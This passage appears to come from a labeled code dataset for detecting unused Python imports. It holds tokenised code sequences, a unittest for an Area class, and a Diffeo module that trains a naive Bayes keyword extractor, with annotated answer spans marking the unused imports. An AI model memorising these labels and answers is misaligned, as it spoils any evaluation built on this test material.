"\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "-", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a1_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "+=", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a1_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "-=", " ", "number", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Area", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Multipl", "ication", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "Test", " ", "multiplication", " ", "&", " ", "divisi", "on", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a1_", "=_", "A_", "(_", "sq", "\\u", "m_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a3_", "=_", "a1_", "*_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a3_", "._", "sq", "\\u", "m_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a3_", "=_", "2_", "*_", "a1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a3_", "._", "sq", "\\u", "m_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a3_", "*=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a3_", "._", "sq", "\\u", "m_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a4_", "=_", "a1_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a4_", "._", "sq", "\\u", "m_", ",_", "50_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a4_", "/=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "a4_", "._", "sq", "\\u", "m_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a5", "_", "=_", "a1_", "*_", "A_", "(_", "sq", "\\u", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "*", " ", "Area", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a1_", "*=_", "A_", "(_", "sq", "\\u", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "*=", " ", "Area", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a5", "_", "=_", "a1_", "/_", "A_", "(_", "sq", "\\u", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "/", " ", "Area", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a1_", "/=_", "A_", "(_", "sq", "\\u", "m_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "Area", " ", "/", "=", " ", "Area", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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used import
dossier/dossier.models/dossier/models/linker/model.py
[ { "content": "'''Create a keyword searches from an entity profile. Given a labeled\ncollection of feature collections, train a classifier to identify the\nentity using such as scikit-learn Bernoulli naive Bayes:\n\nhttp://scikit-learn.org/stable/modules/naive_bayes.html\n\nhttp://scikit-learn.org/stable/modules/generated/sklearn.naive_bayes\n.BernoulliNB.html#sklearn.naive_bayes.BernoulliNB\n\n.. autofunction:: extract\n\n.. This software is released under an MIT/X11 open source license.\n Copyright 2015 Diffeo, Inc.\n'''\nfrom __future__ import absolute_import, division\nimport json\nimport logging\nimport os\nimport sys\nimport time\nimport datetime\n\nimport argparse\nimport dblogger\nimport json\n\nimport yakonfig\nimport streamcorpus\nfrom streamcorpus import Chunk, make_stream_item\nimport streamcorpus_pipeline\nfrom streamcorpus_pipeline.stages import PipelineStages\nfrom streamcorpus_pipeline._pipeline import PipelineFactory\n\nfrom dossier.fc import FeatureCollectionChunk as FCChunk\nfrom dossier.fc import FeatureCollection, StringCounter\n\nimport operator\ntry:\n from collections import Counter, defaultdict\nexcept ImportError:\n from backport_collections import Counter, defaultdict\n\nimport numpy as np\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.naive_bayes import BernoulliNB\n\nlogger = logging.getLogger(__name__)\n\n\n\nif __name__ == '__main__':\n '''This can be used to test this code on features collections created\n by the treelab pipeline\n '''\n\n parser = argparse.ArgumentParser(\n usage='python extractor.py corpus.fc',\n description=__doc__)\n parser.add_argument('corpus',\n help='path feature collection chunk that contains the corpus')\n args = parser.parse_args()\n\n positive_fcs = list()\n negative_fcs = list()\n\n # Build a fake labeled corpus\n for i, fc in enumerate(FCChunk(args.corpus)):\n if i % 2:\n positive_fcs.append(fc)\n else:\n negative_fcs.append(fc)\n\n keywords = extract(\n positive_fcs,\n negative_fcs,\n features = ['both_bow_3',\n 'both_con_3',\n 'both_co_LOC_3',\n 'both_co_ORG_3']\n )\n\n logger.info('Predictive of positive labels: %r', keywords[0])\n logger.info('Predictive of positive labels: %r', keywords[1])\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def extract(positive_fcs, negative_fcs, features=None):\n '''Takes a labeled set of feature collections (positive and negative)\n and the features wanted. And trains a Naive Bayes classifier on\n the underlying keys of the set of selected features features.\n If no features are selected, all are used.\n\n Returns two list of (keywords, strength) tuples ordered by strength. The\n first are feature keys that were predictive of the positive\n label and the second are the feature keys are were predictive\n of the negative label.\n\n ``*_fcs`` is the list of feature collections, positive label and\n negative label respectively.\n\n ``features`` designates which specific feature gets vectorized the\n other features are ignored.\n\n '''\n\n # Vector of labels\n labels = np.array([1] * len(positive_fcs) + [0] * len(negative_fcs))\n\n # Used to convert the feature collection keys into a sklearn\n # compatible format\n v = DictVectorizer(sparse=False)\n\n D = list()\n for fc in (positive_fcs + negative_fcs):\n feat = StringCounter()\n\n if not fc:\n logger.warn('how did we get an empty fc? %r', fc)\n\n else:\n # The features used to pull the keys for the classifier\n for f in features:\n feat += fc[f]\n\n D.append(feat)\n\n # Convert the list of Counters into an sklearn compatible format\n X = v.fit_transform(D)\n\n # Fit the sklearn Bernoulli Naive Bayes classifer\n clf = BernoulliNB()\n clf.fit(X, labels)\n\n # Extract the learned features that are predictive of the positive\n # and negative class\n positive_keywords = v.inverse_transform(clf.feature_log_prob_[1])[0]\n negative_keywords = v.inverse_transform(clf.feature_log_prob_[0])[0]\n\n pos_words = Counter(positive_keywords)\n neg_words = Counter(negative_keywords)\n\n ## make a list ordered by their weight\n pos_ordered = sorted(pos_words.items(),\n key=operator.itemgetter(1), reverse=True)\n neg_ordered = sorted(neg_words.items(),\n key=operator.itemgetter(1), reverse=True)\n\n return pos_ordered, neg_ordered", "metadata": "root.extract", "header": "['module', '___EOS___']", "index": 49 } ]
[ { "span": "import json", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 11 }, { "span": "import os", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 9 }, { "span": "import sys", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 10 }, { "span": "import time", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 11 }, { "span": "import datetime", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 15 }, { "span": "import dblogger", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 15 }, { "span": "import json", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 11 }, { "span": "import yakonfig", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 15 }, { "span": "import streamcorpus", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 19 }, { "span": "from streamcorpus import Chunk, make_stream_item", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 48 }, { "span": "import streamcorpus_pipeline", "start_line": 29, "start_column": 0, "end_line": 29, "end_column": 28 }, { "span": "from streamcorpus_pipeline.stages import PipelineStages", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 55 }, { "span": "from streamcorpus_pipeline._pipeline import PipelineFactory", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 59 }, { "span": "from dossier.fc import FeatureCollection, StringCounter", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 55 }, { "span": "from collections import Counter, defaultdict", "start_line": 38, "start_column": 4, "end_line": 38, "end_column": 48 }, { "span": "from backport_collections import Counter, defaultdict", "start_line": 40, "start_column": 4, "end_line": 40, "end_column": 57 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "Creat", "e", " ", "a", " ", "keyw", "ord", " ", "searche", "s", " ", "from", " ", "an", " ", "entity", " ", "profile", ".", " ", " ", "Give", "n", " ", "a", " ", "label", "ed", "\\", "10", ";", "collection", " ", "of", " ", "feature", " ", "collection", "s", ",", " ", "train", " ", "a", " ", "classif", "ier", " ", "to", " ", "identify", " ", "the", "\\", "10", ";", "entity", " ", "usi", "ng", " ", "suc", "h", " ", "as", " ", "scikit", "-", "learn", " ", "Bern", "oulli", " ", "naive", " ", "Bayes", ":", "\\", "10", ";", "\\", "10", ";", "http", "://", "scikit", "-", "learn", ".", "org", "/", "stable", "/", "module", "s", "/", "naive", "\\u", "bayes", ".", "html", "\\", "10", ";", "\\", "10", ";", "http", "://", "scikit", "-", "learn", ".", "org", "/", "stable", "/", "module", "s", "/", "generat", "ed", "/", "skl", "earn", ".", "naive", "\\u", "bayes", "\\", "10", ";", ".", "Bern", "oulli", "NB", ".", "html", "#", "skl", "earn", ".", "naive", "\\u", "bayes", ".", "Bern", "oulli", "NB", "\\", "10", ";", "\\", "10", ";", "..", " ", "autof", "uncti", "on", "::", " ", "extract", "\\", "10", ";", "\\", "10", ";", "..", " ", "Thi", "s", " ", "software", " ", "is", " ", "released", " ", "under", " ", "an", " ", "MIT", "/", "X1", "1", " ", "open", " ", "source", " ", "license", ".", "\\", "10", ";", " ", " ", " ", "Copy", "right", " ", "201", "5", " ", "Diff", "eo", ",", " ", "Inc", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", ",_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "dbl", "ogg", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "yak", "onfig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stream", "corpus_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stream", "corpus_", "import_", "Chunk_", ",_", "make", "\\u", "stream", "\\u", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stream", "corp", "us", "\\u", "pipeline_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stream", "corp", "us", "\\u", "pipeline_", "._", "stages_", "import_", "Pipe", "line", "Stage", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stream", "corp", "us", "\\u", "pipeline_", "._", "\\u", "pipeline_", "import_", "Pipe", "line", "Factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "dos", "sier", "_", "._", "fc_", "import_", "Feature", "Collecti", "on", "Chunk_", "as_", "FC", "Chunk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dos", "sier", "_", "._", "fc_", "import_", "Feature", "Collection_", ",_", "String", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "operator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "collections_", "import_", "Counter_", ",_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "backp", "ort", "\\u", "collections_", "import_", "Counter_", ",_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "feature", "\\u", "extraction_", "import_", "Dict", "Vectorizer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "naive", "\\u", "bayes", "_", "import_", "Bern", "oulli", "NB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Thi", "s", " ", "can", " ", "be", " ", "used", " ", "to", " ", "test", " ", "this", " ", "code", " ", "on", " ", "features", " ", "collection", "s", " ", "created", "\\", "10", ";", " ", " ", " ", " ", "by", " ", "the", " ", "tree", "lab", " ", "pipeline", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "usage_", "=_", "'", "python", " ", "extract", "or", ".", "py", " ", "corp", "us", ".", "fc", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "\\u\\u", "doc\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "corp", "us", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "path", " ", "feature", " ", "collection", " ", "chunk", " ", "tha", "t", " ", "contain", "s", " ", "the", " ", "corp", "us", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "posit", "ive", "\\u", "fcs", "_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "negati", "ve", "\\u", "fcs", "_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "a", " ", "fake", " ", "label", "ed", " ", "corpus_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "fc_", "in_", "enumerate_", "(_", "FC", "Chunk_", "(_", "args_", "._", "corpus_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "%_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "posit", "ive", "\\u", "fcs", "_", "._", "append_", "(_", "fc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "negati", "ve", "\\u", "fcs", "_", "._", "append_", "(_", "fc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "keywords_", "=_", "extract_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "posit", "ive", "\\u", "fcs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "negati", "ve", "\\u", "fcs", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "[_", "'", "bot", "h", "\\u", "bow", "\\u", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bot", "h", "\\u", "con", "\\u", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bot", "h", "\\u", "co", "\\u", "LOC", "\\u", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bot", "h", "\\u", "co", "\\u", "ORG", "\\u", "3", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "Predic", "tiv", "e", " ", "of", " ", "posit", "ive", " ", "labels", ":", " ", "%", "r", "'_", ",_", "keywords_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "Predic", "tiv", "e", " ", "of", " ", "posit", "ive", " ", "labels", ":", " ", "%", "r", "'_", ",_", "keywords_", "[_", "1_", "]_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "extract_", "(_", "posit", "ive", "\\u", "fcs", "_", ",_", "negati", "ve", "\\u", "fcs", "_", ",_", "features_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Tak", "es", " ", "a", " ", "label", "ed", " ", "set", " ", "of", " ", "feature", " ", "collection", "s", " ", "(", "posit", "ive", " ", "and", " ", "negati", "ve", ")", "\\", "10", ";", " ", " ", " ", "and", " ", "the", " ", "features", " ", "want", "ed", ".", " ", "And", " ", "trains", " ", "a", " ", "Nai", "ve", " ", "Bayes", " ", "classif", "ier", " ", "on", "\\", "10", ";", " ", " ", " ", "the", " ", "underl", "ying", " ", "keys", " ", "of", " ", "the", " ", "set", " ", "of", " ", "selecte", "d", " ", "features", " ", "features", ".", "\\", "10", ";", " ", " ", " ", "If", " ", "no", " ", "features", " ", "are", " ", "selecte", "d", ",", " ", "all", " ", "are", " ", "used", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", "Return", "s", " ", "two", " ", "list", " ", "of", " ", "(", "keywords", ",", " ", "streng", "th", ")", " ", "tuple", "s", " ", "order", "ed", " ", "by", " ", "streng", "th", ".", " ", "The", "\\", "10", ";", " ", " ", " ", "first", " ", "are", " ", "feature", " ", "keys", " ", "tha", "t", " ", "wer", "e", " ", "predicti", "ve", " ", "of", " ", "the", " ", "posit", "ive", "\\", "10", ";", " ", " ", " ", "label", " ", "and", " ", "the", " ", "second", " ", "are", " ", "the", " ", "feature", " ", "keys", " ", "are", " ", "wer", "e", " ", "predicti", "ve", "\\", "10", ";", " ", " ", " ", "of", " ", "the", " ", "negati", "ve", " ", "label", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "*\\u", "fcs", "``", " ", "is", " ", "the", " ", "list", " ", "of", " ", "feature", " ", "collection", "s", ",", " ", "posit", "ive", " ", "label", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "negati", "ve", " ", "label", " ", "respec", "tiv", "el", "y", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "``", "features", "``", " ", "designate", "s", " ", "whi", "ch", " ", "specific", " ", "feature", " ", "gets", " ", "vectorize", "d", " ", "the", "\\", "10", ";", " ", " ", " ", "other", " ", "features", " ", "are", " ", "ignore", "d", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Vector", " ", "of", " ", "labels_", "\\u\\u\\uNL\\u\\u\\u_", "labels_", "=_", "np_", "._", "array_", "(_", "[_", "1_", "]_", "*_", "len_", "(_", "posit", "ive", "\\u", "fcs", "_", ")_", "+_", "[_", "0_", "]_", "*_", "len_", "(_", "negati", "ve", "\\u", "fcs", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "ed", " ", "to", " ", "convert", " ", "the", " ", "feature", " ", "collection", " ", "keys", " ", "int", "o", " ", "a", " ", "sklearn_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "compatible", " ", "format_", "\\u\\u\\uNL\\u\\u\\u_", "v_", "=_", "Dict", "Vectorizer_", "(_", "sparse_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "D_", "=_", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fc_", "in_", "(_", "posit", "ive", "\\u", "fcs", "_", "+_", "negati", "ve", "\\u", "fcs", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feat_", "=_", "String", "Counter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "fc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warn_", "(_", "'", "how", " ", "did", " ", "we", " ", "get", " ", "an", " ", "empty", " ", "fc", "?", " ", "%", "r", "'_", ",_", "fc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "features", " ", "used", " ", "to", " ", "pull", " ", "the", " ", "keys", " ", "for", " ", "the", " ", "classifier_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "f_", "in_", "features_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feat_", "+=_", "fc_", "[_", "f_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "D_", "._", "append_", "(_", "feat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "the", " ", "list", " ", "of", " ", "Counter", "s", " ", "int", "o", " ", "an", " ", "skl", "earn", " ", "compatible", " ", "format_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "=_", "v_", "._", "fit", "\\u", "transform_", "(_", "D_", ")_", 